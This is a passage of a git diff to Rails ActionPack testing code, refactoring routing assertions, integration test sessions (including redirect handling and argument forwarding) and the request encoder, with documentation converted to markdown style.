+      #     assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23
       #
-      #  # Asserts a basic route (controller + default action), with an error message if it fails
-      #  assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly'
+      #     # Asserts a basic route (controller + default action), with an error message if it fails
+      #     assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly'
       #
-      #  # Tests a route, providing a defaults hash
-      #  assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"}
+      #     # Tests a route, providing a defaults hash
+      #     assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"}
       #
-      #  # Tests a route with an HTTP method
-      #  assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" })
+      #     # Tests a route with an HTTP method
+      #     assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" })
       def assert_routing(path, options, defaults = {}, extras = {}, message = nil)
         assert_recognizes(options, path, extras, message)
 
@@ -131,52 +269,47 @@ def assert_routing(path, options, defaults = {}, extras = {}, message = nil)
         assert_generates(path.is_a?(Hash) ? path[:path] : path, generate_options, defaults, extras, message)
       end
 
-      # A helper to make it easier to test different route configurations.
-      # This method temporarily replaces @routes
-      # with a new RouteSet instance.
-      #
-      # The new instance is yielded to the passed block. Typically the block
-      # will create some routes using <tt>set.draw { match ... }</tt>:
-      #
-      #   with_routing do |set|
-      #     set.draw do
-      #       resources :users
-      #     end
-      #     assert_equal "/users", users_path
-      #   end
-      #
-      def with_routing
-        old_routes, @routes = @routes, ActionDispatch::Routing::RouteSet.new
-        if defined?(@controller) && @controller
-          old_controller, @controller = @controller, @controller.clone
-          _routes = @routes
+      # ROUTES TODO: These assertions should really work in an integration context
+      def method_missing(selector, ...)
+        if @controller && @routes&.named_routes&.route_defined?(selector)
+          @controller.public_send(selector, ...)
+        else
+          super
+        end
+      end
+
+      private
+        def create_routes(config = nil)
+          @routes = ActionDispatch::Routing::RouteSet.new(config || ActionDispatch::Routing::RouteSet::DEFAULT_CONFIG)
+          if @controller
+            @controller = @controller.clone
+            _routes = @routes
+
+            @controller.singleton_class.include(_routes.url_helpers)
 
-          @controller.singleton_class.include(_routes.url_helpers)
+            if @controller.respond_to? :view_context_class
+              view_context_class = Class.new(@controller.view_context_class) do
+                include _routes.url_helpers
+              end
 
-          if @controller.respond_to? :view_context_class
-            @controller.view_context_class = Class.new(@controller.view_context_class) do
-              include _routes.url_helpers
+              custom_view_context = Module.new {
+                define_method(:view_context_class) do
+                  view_context_class
+                end
+              }
+              @controller.extend(custom_view_context)
             end
           end
+          yield @routes
         end
-        yield @routes
-      ensure
-        @routes = old_routes
-        if defined?(@controller) && @controller
-          @controller = old_controller
-        end
-      end
 
-      # ROUTES TODO: These assertions should really work in an integration context
-      def method_missing(selector, *args, &block)
-        if defined?(@controller) && @controller && defined?(@routes) && @routes && @routes.named_routes.route_defined?(selector)
-          @controller.send(selector, *args, &block)
-        else
-          super
+        def reset_routes(old_routes, old_controller)
+          @routes = old_routes
+          if @controller
+            @controller = old_controller
+          end
         end
-      end
 
-      private
         # Recognizes the route for a given path.
         def recognized_request_for(path, extras = {}, msg)
           if path.is_a?(Hash)
@@ -186,10 +319,10 @@ def recognized_request_for(path, extras = {}, msg)
             method = :get
           end
 
-          # Assume given controller
-          request = ActionController::TestRequest.create @controller.class
+          controller = @controller if defined?(@controller)
+          request = ActionController::TestRequest.create controller&.class
 
-          if path =~ %r{://}
+          if path.include?("://")
             fail_on(URI::InvalidURIError, msg) do
               uri = URI.parse(path)
               request.env["rack.url_scheme"] = uri.scheme || "http"
@@ -198,7 +331,7 @@ def recognized_request_for(path, extras = {}, msg)
               request.path = uri.path.to_s.empty? ? "/" : uri.path
             end
           else
-            path = "/#{path}" unless path.first == "/"
+            path = "/#{path}" unless path.start_with?("/")
             request.path = path
           end
 
@@ -215,7 +348,7 @@ def recognized_request_for(path, extras = {}, msg)
         def fail_on(exception_class, message)
           yield
         rescue exception_class => e
-          raise Minitest::Assertion, message || e.message
+          flunk(message || e.message)
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 5fa0b727abee2..2cd77cbc321e7 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -1,82 +1,101 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "stringio"
 require "uri"
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/core_ext/object/try"
 require "rack/test"
-require "minitest"
+require "active_support/test_case"
 
 require "action_dispatch/testing/request_encoder"
+require "action_dispatch/testing/test_helpers/page_dump_helper"
 
 module ActionDispatch
-  module Integration #:nodoc:
+  module Integration # :nodoc:
     module RequestHelpers
-      # Performs a GET request with the given parameters. See +#process+ for more
-      # details.
+      # Performs a GET request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
       def get(path, **args)
         process(:get, path, **args)
       end
 
-      # Performs a POST request with the given parameters. See +#process+ for more
-      # details.
+      # Performs a POST request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
       def post(path, **args)
         process(:post, path, **args)
       end
 
-      # Performs a PATCH request with the given parameters. See +#process+ for more
-      # details.
+      # Performs a PATCH request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
       def patch(path, **args)
         process(:patch, path, **args)
       end
 
-      # Performs a PUT request with the given parameters. See +#process+ for more
-      # details.
+      # Performs a PUT request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
       def put(path, **args)
         process(:put, path, **args)
       end
 
-      # Performs a DELETE request with the given parameters. See +#process+ for
-      # more details.
+      # Performs a DELETE request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
       def delete(path, **args)
         process(:delete, path, **args)
       end
 
-      # Performs a HEAD request with the given parameters. See +#process+ for more
-      # details.
-      def head(path, *args)
-        process(:head, path, *args)
+      # Performs a HEAD request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
+      def head(path, **args)
+        process(:head, path, **args)
+      end
+
+      # Performs an OPTIONS request with the given parameters. See
+      # ActionDispatch::Integration::Session#process for more details.
+      def options(path, **args)
+        process(:options, path, **args)
       end
 
-      # Follow a single redirect response. If the last response was not a
-      # redirect, an exception will be raised. Otherwise, the redirect is
-      # performed on the location header.
-      def follow_redirect!
+      # Follow a single redirect response. If the last response was not a redirect, an
+      # exception will be raised. Otherwise, the redirect is performed on the location
+      # header. If the redirection is a 307 or 308 redirect, the same HTTP verb will
+      # be used when redirecting, otherwise a GET request will be performed. Any
+      # arguments are passed to the underlying request.
+      #
+      # The HTTP_REFERER header will be set to the previous url.
+      def follow_redirect!(headers: {}, **args)
         raise "not a redirect! #{status} #{status_message}" unless redirect?
-        get(response.location)
+
+        method =
+          if [307, 308].include?(response.status)
+            request.method.downcase
+          else
+            :get
+          end
+
+        if [ :HTTP_REFERER, "HTTP_REFERER" ].none? { |key| headers.key? key }
+          headers["HTTP_REFERER"] = request.url
+        end
+
+        public_send(method, response.location, headers: headers, **args)
         status
       end
     end
 
-    # An instance of this class represents a set of requests and responses
-    # performed sequentially by a test process. Because you can instantiate
-    # multiple sessions and run them side-by-side, you can also mimic (to some
-    # limited extent) multiple simultaneous users interacting with your system.
+    # An instance of this class represents a set of requests and responses performed
+    # sequentially by a test process. Because you can instantiate multiple sessions
+    # and run them side-by-side, you can also mimic (to some limited extent)
+    # multiple simultaneous users interacting with your system.
     #
-    # Typically, you will instantiate a new session using
-    # IntegrationTest#open_session, rather than instantiating
-    # Integration::Session directly.
+    # Typically, you will instantiate a new session using Runner#open_session,
+    # rather than instantiating a Session directly.
     class Session
       DEFAULT_HOST = "www.example.com"
 
       include Minitest::Assertions
       include TestProcess, RequestHelpers, Assertions
 
-      %w( status status_message headers body redirect? ).each do |method|
-        delegate method, to: :response, allow_nil: true
-      end
-
-      %w( path ).each do |method|
-        delegate method, to: :request, allow_nil: true
-      end
+      delegate :status, :status_message, :headers, :body, :redirect?, to: :response, allow_nil: true
+      delegate :path, to: :request, allow_nil: true
 
       # The hostname used in the last request.
       def host
@@ -90,8 +109,8 @@ def host
       # The Accept header to send.
       attr_accessor :accept
 
-      # A map of the cookies returned by the last response, and which will be
-      # sent with the next request.
+      # A map of the cookies returned by the last response, and which will be sent
+      # with the next request.
       def cookies
         _mock_session.cookie_jar
       end
@@ -120,7 +139,7 @@ def initialize(app)
 
       def url_options
         @url_options ||= default_url_options.dup.tap do |url_options|
-          url_options.reverse_merge!(controller.url_options) if controller
+          url_options.reverse_merge!(controller.url_options) if controller.respond_to?(:url_options)
 
           if @app.respond_to?(:routes)
             url_options.reverse_merge!(@app.routes.default_url_options)
@@ -130,11 +149,10 @@ def url_options
         end
       end
 
-      # Resets the instance. This can be used to reset the state information
-      # in an existing session instance, so it can be used from a clean-slate
-      # condition.
+      # Resets the instance. This can be used to reset the state information in an
+      # existing session instance, so it can be used from a clean-slate condition.
       #
-      #   session.reset!
+      #     session.reset!
       def reset!
         @https = false
         @controller = @request = @response = nil
@@ -149,57 +167,61 @@ def reset!
                            "*/*;q=0.5"
 
         unless defined? @named_routes_configured
-          # the helpers are made protected by default--we make them public for
-          # easier access during testing and troubleshooting.
+          # the helpers are made protected by default--we make them public for easier
+          # access during testing and troubleshooting.
           @named_routes_configured = true
         end
       end
 
       # Specify whether or not the session should mimic a secure HTTPS request.
       #
-      #   session.https!
-      #   session.https!(false)
+      #     session.https!
+      #     session.https!(false)
       def https!(flag = true)
         @https = flag
       end
 
-      # Returns +true+ if the session is mimicking a secure HTTPS request.
+      # Returns `true` if the session is mimicking a secure HTTPS request.
       #
-      #   if session.https?
-      #     ...
-      #   end
+      #     if session.https?
+      #       ...
+      #     end
       def https?
         @https
       end
 
       # Performs the actual request.
       #
-      # - +method+: The HTTP method (GET, POST, PATCH, PUT, DELETE, HEAD, OPTIONS)
-      #   as a symbol.
-      # - +path+: The URI (as a String) on which you want to perform the
-      #   request.
-      # - +params+: The HTTP parameters that you want to pass. This may
-      #   be +nil+,
-      #   a Hash, or a String that is appropriately encoded
-      #   (<tt>application/x-www-form-urlencoded</tt> or
-      #   <tt>multipart/form-data</tt>).
-      # - +headers+: Additional headers to pass, as a Hash. The headers will be
-      #   merged into the Rack env hash.
-      # - +env+: Additional env to pass, as a Hash. The headers will be
-      #   merged into the Rack env hash.
+      # *   `method`: The HTTP method (GET, POST, PATCH, PUT, DELETE, HEAD, OPTIONS)
+      #     as a symbol.
+      # *   `path`: The URI (as a String) on which you want to perform the request.
+      # *   `params`: The HTTP parameters that you want to pass. This may be `nil`, a
+      #     Hash, or a String that is appropriately encoded
+      #     (`application/x-www-form-urlencoded` or `multipart/form-data`).
+      # *   `headers`: Additional headers to pass, as a Hash. The headers will be
+      #     merged into the Rack env hash.
+      # *   `env`: Additional env to pass, as a Hash. The headers will be merged into
+      #     the Rack env hash.
+      # *   `xhr`: Set to `true` if you want to make an Ajax request. Adds request
+      #     headers characteristic of XMLHttpRequest e.g. HTTP_X_REQUESTED_WITH. The
+      #     headers will be merged into the Rack env hash.
+      # *   `as`: Used for encoding the request with different content type. Supports
+      #     `:json` by default and will set the appropriate request headers. The
+      #     headers will be merged into the Rack env hash.
+      #
       #
-      # This method is rarely used directly. Use +#get+, +#post+, or other standard
-      # HTTP methods in integration tests. +#process+ is only required when using a
-      # request method that doesn't have a method defined in the integration tests.
+      # This method is rarely used directly. Use RequestHelpers#get,
+      # RequestHelpers#post, or other standard HTTP methods in integration tests.
+      # `#process` is only required when using a request method that doesn't have a
+      # method defined in the integration tests.
       #
-      # This method returns a Response object, which one can use to
-      # inspect the details of the response. Furthermore, if this method was
-      # called from an ActionDispatch::IntegrationTest object, then that
-      # object's <tt>@response</tt> instance variable will point to the same
-      # response object.
+      # This method returns the response status, after performing the request.
+      # Furthermore, if this method was called from an ActionDispatch::IntegrationTest
+      # object, then that object's `@response` instance variable will point to a
+      # Response object which one can use to inspect the details of the response.
       #
       # Example:
-      #   process :get, '/author', params: { since: 201501011400 }
+      #     process :get, '/author', params: { since: 201501011400 }
       def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil)
         request_encoder = RequestEncoder.encoder(as)
         headers ||= {}
@@ -209,7 +231,7 @@ def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: n
           method = :post
         end
 
-        if path =~ %r{://}
+        if path.include?("://")
           path = build_expanded_path(path) do |location|
             https! URI::HTTPS === location if location.scheme
 
@@ -235,10 +257,13 @@ def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: n
           "REQUEST_URI"    => path,
           "HTTP_HOST"      => host,
           "REMOTE_ADDR"    => remote_addr,
-          "CONTENT_TYPE"   => request_encoder.content_type,
           "HTTP_ACCEPT"    => request_encoder.accept_header || accept
         }
 
+        if request_encoder.content_type
+          request_env["CONTENT_TYPE"] = request_encoder.content_type
+        end
+
         wrapped_headers = Http::Headers.from_hash({})
         wrapped_headers.merge!(headers) if headers
 
@@ -247,7 +272,7 @@ def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: n
           wrapped_headers["HTTP_ACCEPT"] ||= [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
         end
 
-        # this modifies the passed request_env directly
+        # This modifies the passed request_env directly.
         if wrapped_headers.present?
           Http::Headers.from_hash(request_env).merge!(wrapped_headers)
         end
@@ -257,9 +282,19 @@ def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: n
 
         session = Rack::Test::Session.new(_mock_session)
 
-        # NOTE: rack-test v0.5 doesn't build a default uri correctly
-        # Make sure requested path is always a full uri
-        session.request(build_full_uri(path, request_env), request_env)
+        # NOTE: rack-test v0.5 doesn't build a default uri correctly Make sure requested
+        # path is always a full URI.
+        uri = build_full_uri(path, request_env)
+
+        if method == :get && String === request_env[:params]
+          # rack-test will needlessly parse and rebuild a :params
+          # querystring, using Rack's query parser. At best that's a
+          # waste of time; at worst it can change the value.
+
+          uri << "?" << request_env.delete(:params)
+        end
+
+        session.request(uri, request_env)
 
         @request_count += 1
         @request = ActionDispatch::Request.new(session.last_request.env)
@@ -276,7 +311,7 @@ def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: n
 
       # Set the host name to use in the next request.
       #
-      #   session.host! "www.example.com"
+      #     session.host! "www.example.com"
       alias :host! :host=
 
       private
@@ -302,6 +337,7 @@ module Runner
       APP_SESSIONS = {}
 
       attr_reader :app
+      attr_accessor :root_session # :nodoc:
 
       def initialize(*args, &blk)
         super(*args, &blk)
@@ -317,17 +353,17 @@ def integration_session
         @integration_session ||= create_session(app)
       end
 
-      # Reset the current session. This is useful for testing multiple sessions
-      # in a single test case.
+      # Reset the current session. This is useful for testing multiple sessions in a
+      # single test case.
       def reset!
         @integration_session = create_session(app)
       end
 
       def create_session(app)
         klass = APP_SESSIONS[app] ||= Class.new(Integration::Session) {
-          # If the app is a Rails app, make url_helpers available on the session
-          # This makes app.url_for and app.foo_path available in the console
-          if app.respond_to?(:routes)
+          # If the app is a Rails app, make url_helpers available on the session. This
+          # makes app.url_for and app.foo_path available in the console.
+          if app.respond_to?(:routes) && app.routes.is_a?(ActionDispatch::Routing::RouteSet)
             include app.routes.url_helpers
             include app.routes.mounted_helpers
           end
@@ -339,40 +375,51 @@ def remove! # :nodoc:
         @integration_session = nil
       end
 
-      %w(get post patch put head delete cookies assigns
-         xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
-        define_method(method) do |*args|
-          # reset the html_document variable, except for cookies/assigns calls
-          unless method == "cookies" || method == "assigns"
-            @html_document = nil
-          end
+      %w(get post patch put head delete cookies assigns follow_redirect!).each do |method|
+        # reset the html_document variable, except for cookies/assigns calls
+        unless method == "cookies" || method == "assigns"
+          reset_html_document = "@html_document = nil"
+        end
+
+        module_eval <<~RUBY, __FILE__, __LINE__ + 1
+          def #{method}(...)
+            #{reset_html_document}
 
-          integration_session.__send__(method, *args).tap do
+            result = integration_session.#{method}(...)
             copy_session_variables!
+            result
           end
-        end
+        RUBY
       end
 
-      # Open a new session instance. If a block is given, the new session is
-      # yielded to the block before being returned.
+      # Open a new session instance. If a block is given, the new session is yielded
+      # to the block before being returned.
       #
-      #   session = open_session do |sess|
-      #     sess.extend(CustomAssertions)
-      #   end
+      #     session = open_session do |sess|
+      #       sess.extend(CustomAssertions)
+      #     end
       #
-      # By default, a single session is automatically created for you, but you
-      # can use this method to open multiple sessions that ought to be tested
-      # simultaneously.
+      # By default, a single session is automatically created for you, but you can use
+      # this method to open multiple sessions that ought to be tested simultaneously.
       def open_session
         dup.tap do |session|
           session.reset!
+          session.root_session = self.root_session || self
           yield session if block_given?
         end
       end
 
-      # Copy the instance variables from the current session instance into the
-      # test instance.
-      def copy_session_variables! #:nodoc:
+      def assertions # :nodoc:
+        root_session ? root_session.assertions : super
+      end
+
+      def assertions=(assertions) # :nodoc:
+        root_session ? root_session.assertions = assertions : super
+      end
+
+      # Copy the instance variables from the current session instance into the test
+      # instance.
+      def copy_session_variables! # :nodoc:
         @controller = @integration_session.controller
         @response   = @integration_session.response
         @request    = @integration_session.request
@@ -386,14 +433,15 @@ def default_url_options=(options)
         integration_session.default_url_options = options
       end
 
-      def respond_to_missing?(method, include_private = false)
-        integration_session.respond_to?(method, include_private) || super
+    private
+      def respond_to_missing?(method, _)
+        integration_session.respond_to?(method) || super
       end
 
       # Delegate unhandled messages to the current session instance.
-      def method_missing(sym, *args, &block)
-        if integration_session.respond_to?(sym)
-          integration_session.__send__(sym, *args, &block).tap do
+      def method_missing(method, ...)
+        if integration_session.respond_to?(method)
+          integration_session.public_send(method, ...).tap do
             copy_session_variables!
           end
         else
@@ -403,198 +451,200 @@ def method_missing(sym, *args, &block)
     end
   end
 
-  # An integration test spans multiple controllers and actions,
-  # tying them all together to ensure they work together as expected. It tests
-  # more completely than either unit or functional tests do, exercising the
-  # entire stack, from the dispatcher to the database.
+  # An integration test spans multiple controllers and actions, tying them all
+  # together to ensure they work together as expected. It tests more completely
+  # than either unit or functional tests do, exercising the entire stack, from the
+  # dispatcher to the database.
   #
-  # At its simplest, you simply extend <tt>IntegrationTest</tt> and write your tests
-  # using the get/post methods:
+  # At its simplest, you simply extend `IntegrationTest` and write your tests
+  # using the Integration::RequestHelpers#get and/or
+  # Integration::RequestHelpers#post methods:
   #
-  #   require "test_helper"
+  #     require "test_helper"
   #
-  #   class ExampleTest < ActionDispatch::IntegrationTest
-  #     fixtures :people
+  #     class ExampleTest < ActionDispatch::IntegrationTest
+  #       fixtures :people
   #
-  #     def test_login
-  #       # get the login page
-  #       get "/login"
-  #       assert_equal 200, status
+  #       def test_login
+  #         # get the login page
+  #         get "/login"
+  #         assert_equal 200, status
   #
-  #       # post the login and follow through to the home page
-  #       post "/login", params: { username: people(:jamis).username,
-  #         password: people(:jamis).password }
-  #       follow_redirect!
-  #       assert_equal 200, status
-  #       assert_equal "/home", path
+  #         # post the login and follow through to the home page
+  #         post "/login", params: { username: people(:jamis).username,
+  #           password: people(:jamis).password }
+  #         follow_redirect!
+  #         assert_equal 200, status
+  #         assert_equal "/home", path
+  #       end
   #     end
-  #   end
   #
-  # However, you can also have multiple session instances open per test, and
-  # even extend those instances with assertions and methods to create a very
-  # powerful testing DSL that is specific for your application. You can even
-  # reference any named routes you happen to have defined.
+  # However, you can also have multiple session instances open per test, and even
+  # extend those instances with assertions and methods to create a very powerful
+  # testing DSL that is specific for your application. You can even reference any
+  # named routes you happen to have defined.
   #
-  #   require "test_helper"
+  #     require "test_helper"
   #
-  #   class AdvancedTest < ActionDispatch::IntegrationTest
-  #     fixtures :people, :rooms
+  #     class AdvancedTest < ActionDispatch::IntegrationTest
+  #       fixtures :people, :rooms
   #
-  #     def test_login_and_speak
-  #       jamis, david = login(:jamis), login(:david)
-  #       room = rooms(:office)
+  #       def test_login_and_speak
+  #         jamis, david = login(:jamis), login(:david)
+  #         room = rooms(:office)
   #
-  #       jamis.enter(room)
-  #       jamis.speak(room, "anybody home?")
+  #         jamis.enter(room)
+  #         jamis.speak(room, "anybody home?")
   #
-  #       david.enter(room)
-  #       david.speak(room, "hello!")
-  #     end
-  #
-  #     private
-  #
-  #       module CustomAssertions
-  #         def enter(room)
-  #           # reference a named route, for maximum internal consistency!
-  #           get(room_url(id: room.id))
-  #           assert(...)
-  #           ...
-  #         end
+  #         david.enter(room)
+  #         david.speak(room, "hello!")
+  #       end
   #
-  #         def speak(room, message)
-  #           post "/say/#{room.id}", xhr: true, params: { message: message }
-  #           assert(...)
-  #           ...
+  #       private
+  #
+  #         module CustomAssertions
+  #           def enter(room)
+  #             # reference a named route, for maximum internal consistency!
+  #             get(room_url(id: room.id))
+  #             assert(...)
+  #             ...
+  #           end
+  #
+  #           def speak(room, message)
+  #             post "/say/#{room.id}", xhr: true, params: { message: message }
+  #             assert(...)
+  #             ...
+  #           end
   #         end
-  #       end
   #
-  #       def login(who)
-  #         open_session do |sess|
-  #           sess.extend(CustomAssertions)
-  #           who = people(who)
-  #           sess.post "/login", params: { username: who.username,
-  #             password: who.password }
-  #           assert(...)
+  #         def login(who)
+  #           open_session do |sess|
+  #             sess.extend(CustomAssertions)
+  #             who = people(who)
+  #             sess.post "/login", params: { username: who.username,
+  #               password: who.password }
+  #             assert(...)
+  #           end
   #         end
-  #       end
-  #   end
+  #     end
   #
   # Another longer example would be:
   #
   # A simple integration test that exercises multiple controllers:
   #
-  #   require 'test_helper'
+  #     require "test_helper"
   #
-  #   class UserFlowsTest < ActionDispatch::IntegrationTest
-  #     test "login and browse site" do
-  #       # login via https
-  #       https!
-  #       get "/login"
-  #       assert_response :success
+  #     class UserFlowsTest < ActionDispatch::IntegrationTest
+  #       test "login and browse site" do
+  #         # login via https
+  #         https!
+  #         get "/login"
+  #         assert_response :success
   #
-  #       post "/login", params: { username: users(:david).username, password: users(:david).password }
-  #       follow_redirect!
-  #       assert_equal '/welcome', path
-  #       assert_equal 'Welcome david!', flash[:notice]
+  #         post "/login", params: { username: users(:david).username, password: users(:david).password }
+  #         follow_redirect!
+  #         assert_equal '/welcome', path
+  #         assert_equal 'Welcome david!', flash[:notice]
   #
-  #       https!(false)
-  #       get "/articles/all"
-  #       assert_response :success
-  #       assert_select 'h1', 'Articles'
+  #         https!(false)
+  #         get "/articles/all"
+  #         assert_response :success
+  #         assert_dom 'h1', 'Articles'
+  #       end
   #     end
-  #   end
   #
   # As you can see the integration test involves multiple controllers and
   # exercises the entire stack from database to dispatcher. In addition you can
-  # have multiple session instances open simultaneously in a test and extend
-  # those instances with assertion methods to create a very powerful testing
-  # DSL (domain-specific language) just for your application.
+  # have multiple session instances open simultaneously in a test and extend those
+  # instances with assertion methods to create a very powerful testing DSL
+  # (domain-specific language) just for your application.
   #
   # Here's an example of multiple sessions and custom DSL in an integration test
   #
-  #   require 'test_helper'
+  #     require "test_helper"
   #
-  #   class UserFlowsTest < ActionDispatch::IntegrationTest
-  #     test "login and browse site" do
-  #       # User david logs in
-  #       david = login(:david)
-  #       # User guest logs in
-  #       guest = login(:guest)
+  #     class UserFlowsTest < ActionDispatch::IntegrationTest
+  #       test "login and browse site" do
+  #         # User david logs in
+  #         david = login(:david)
+  #         # User guest logs in
+  #         guest = login(:guest)
   #
-  #       # Both are now available in different sessions
-  #       assert_equal 'Welcome david!', david.flash[:notice]
-  #       assert_equal 'Welcome guest!', guest.flash[:notice]
+  #         # Both are now available in different sessions
+  #         assert_equal 'Welcome david!', david.flash[:notice]
+  #         assert_equal 'Welcome guest!', guest.flash[:notice]
   #
-  #       # User david can browse site
-  #       david.browses_site
-  #       # User guest can browse site as well
-  #       guest.browses_site
+  #         # User david can browse site
+  #         david.browses_site
+  #         # User guest can browse site as well
+  #         guest.browses_site
   #
-  #       # Continue with other assertions
-  #     end
+  #         # Continue with other assertions
+  #       end
   #
-  #     private
+  #       private
   #
-  #       module CustomDsl
-  #         def browses_site
-  #           get "/products/all"
-  #           assert_response :success
-  #           assert_select 'h1', 'Products'
+  #         module CustomDsl
+  #           def browses_site
+  #             get "/products/all"
+  #             assert_response :success
+  #             assert_dom 'h1', 'Products'
+  #           end
   #         end
-  #       end
   #
-  #       def login(user)
-  #         open_session do |sess|
-  #           sess.extend(CustomDsl)
-  #           u = users(user)
-  #           sess.https!
-  #           sess.post "/login", params: { username: u.username, password: u.password }
-  #           assert_equal '/welcome', sess.path
-  #           sess.https!(false)
+  #         def login(user)
+  #           open_session do |sess|
+  #             sess.extend(CustomDsl)
+  #             u = users(user)
+  #             sess.https!
+  #             sess.post "/login", params: { username: u.username, password: u.password }
+  #             assert_equal '/welcome', sess.path
+  #             sess.https!(false)
+  #           end
   #         end
-  #       end
-  #   end
+  #     end
   #
-  # See the {request helpers documentation}[rdoc-ref:ActionDispatch::Integration::RequestHelpers] for help on how to
-  # use +get+, etc.
+  # See the [request helpers documentation](rdoc-ref:ActionDispatch::Integration::RequestHelpers)
+  # for help on how to use `get`, etc.
   #
-  # === Changing the request encoding
+  # ### Changing the request encoding
   #
-  # You can also test your JSON API easily by setting what the request should
-  # be encoded as:
+  # You can also test your JSON API easily by setting what the request should be
+  # encoded as:
   #
-  #   require "test_helper"
+  #     require "test_helper"
   #
-  #   class ApiTest < ActionDispatch::IntegrationTest
-  #     test "creates articles" do
-  #       assert_difference -> { Article.count } do
-  #         post articles_path, params: { article: { title: "Ahoy!" } }, as: :json
-  #       end
+  #     class ApiTest < ActionDispatch::IntegrationTest
+  #       test "creates articles" do
+  #         assert_difference -> { Article.count } do
+  #           post articles_path, params: { article: { title: "Ahoy!" } }, as: :json
+  #         end
   #
-  #       assert_response :success
-  #       assert_equal({ id: Arcticle.last.id, title: "Ahoy!" }, response.parsed_body)
+  #         assert_response :success
+  #         assert_equal({ "id" => Article.last.id, "title" => "Ahoy!" }, response.parsed_body)
+  #       end
   #     end
-  #   end
   #
-  # The +as+ option passes an "application/json" Accept header (thereby setting
+  # The `as` option passes an "application/json" Accept header (thereby setting
   # the request format to JSON unless overridden), sets the content type to
   # "application/json" and encodes the parameters as JSON.
   #
-  # Calling +parsed_body+ on the response parses the response body based on the
-  # last response MIME type.
+  # Calling TestResponse#parsed_body on the response parses the response body
+  # based on the last response MIME type.
   #
-  # Out of the box, only <tt>:json</tt> is supported. But for any custom MIME
-  # types you've registered, you can add your own encoders with:
+  # Out of the box, only `:json` is supported. But for any custom MIME types
+  # you've registered, you can add your own encoders with:
   #
-  #   ActionDispatch::IntegrationTest.register_encoder :wibble,
-  #     param_encoder: -> params { params.to_wibble },
-  #     response_parser: -> body { body }
+  #     ActionDispatch::IntegrationTest.register_encoder :wibble,
+  #       param_encoder: -> params { params.to_wibble },
+  #       response_parser: -> body { body }
   #
-  # Where +param_encoder+ defines how the params should be encoded and
-  # +response_parser+ defines how the response body should be parsed through
-  # +parsed_body+.
+  # Where `param_encoder` defines how the params should be encoded and
+  # `response_parser` defines how the response body should be parsed through
+  # TestResponse#parsed_body.
   #
-  # Consult the Rails Testing Guide for more.
+  # Consult the [Rails Testing Guide](https://guides.rubyonrails.org/testing.html)
+  # for more.
 
   class IntegrationTest < ActiveSupport::TestCase
     include TestProcess::FixtureFile
@@ -611,10 +661,12 @@ module Behavior
 
       include Integration::Runner
       include ActionController::TemplateAssertions
+      include TestHelpers::PageDumpHelper
 
       included do
         include ActionDispatch::Routing::UrlFor
         include UrlOptions # don't let UrlFor override the url_options method
+        include ActionDispatch::Assertions::RoutingAssertions::WithIntegrationRouting
         ActiveSupport.run_load_hooks(:action_dispatch_integration_test, self)
         @@app = nil
       end
@@ -632,8 +684,8 @@ def app=(app)
           @@app = app
         end
 
-        def register_encoder(*args)
-          RequestEncoder.register_encoder(*args)
+        def register_encoder(*args, **options)
+          RequestEncoder.register_encoder(*args, **options)
         end
       end
 
diff --git a/actionpack/lib/action_dispatch/testing/request_encoder.rb b/actionpack/lib/action_dispatch/testing/request_encoder.rb
index 8c27e9ecb7ee7..e0ce6b30af113 100644
--- a/actionpack/lib/action_dispatch/testing/request_encoder.rb
+++ b/actionpack/lib/action_dispatch/testing/request_encoder.rb
@@ -1,3 +1,10 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "nokogiri"
+require "action_dispatch/http/mime_type"
+
 module ActionDispatch
   class RequestEncoder # :nodoc:
     class IdentityEncoder
@@ -9,9 +16,9 @@ def response_parser; -> body { body }; end
 
     @encoders = { identity: IdentityEncoder.new }
 
-    attr_reader :response_parser
+    attr_reader :response_parser, :content_type
 
-    def initialize(mime_name, param_encoder, response_parser)
+    def initialize(mime_name, param_encoder, response_parser, content_type)
       @mime = Mime[mime_name]
 
       unless @mime
@@ -21,10 +28,7 @@ def initialize(mime_name, param_encoder, response_parser)
 
       @response_parser = response_parser || -> body { body }
       @param_encoder   = param_encoder   || :"to_#{@mime.symbol}".to_proc
-    end
-
-    def content_type
-      @mime.to_s
+      @content_type    = content_type    || @mime.to_s
     end
 
     def accept_header
@@ -32,22 +36,25 @@ def accept_header
     end
 
     def encode_params(params)
-      @param_encoder.call(params)
+      @param_encoder.call(params) if params
     end
 
     def self.parser(content_type)
-      mime = Mime::Type.lookup(content_type)
-      encoder(mime ? mime.ref : nil).response_parser
+      type = Mime::Type.lookup(content_type).ref if content_type
+      encoder(type).response_parser
     end
 
     def self.encoder(name)
       @encoders[name] || @encoders[:identity]
     end
 
-    def self.register_encoder(mime_name, param_encoder: nil, response_parser: nil)
-      @encoders[mime_name] = new(mime_name, param_encoder, response_parser)
+    def self.register_encoder(mime_name, param_encoder: nil, response_parser: nil, content_type: nil)
